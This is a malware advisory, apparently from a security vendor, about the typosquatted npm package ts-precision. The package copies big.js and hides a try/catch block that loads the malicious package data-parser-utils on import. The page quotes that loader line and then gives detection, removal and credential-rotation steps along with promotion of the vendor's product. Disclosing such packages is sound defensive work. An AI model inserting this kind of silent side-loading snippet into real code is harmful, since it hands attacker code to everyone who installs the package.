ts-precisionnpm
Malicious code in ts-precision (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin [email protected]' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. This block fires on every require('ts-precision') / import of the package, pulling in and invoking the known-malicious npm package data-parser-utils, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.

Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-precision (version 3.7.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-precision across your stack and pipelines.
If you installed it — respond
ts-precision is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-precision, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-precision was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-precision before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
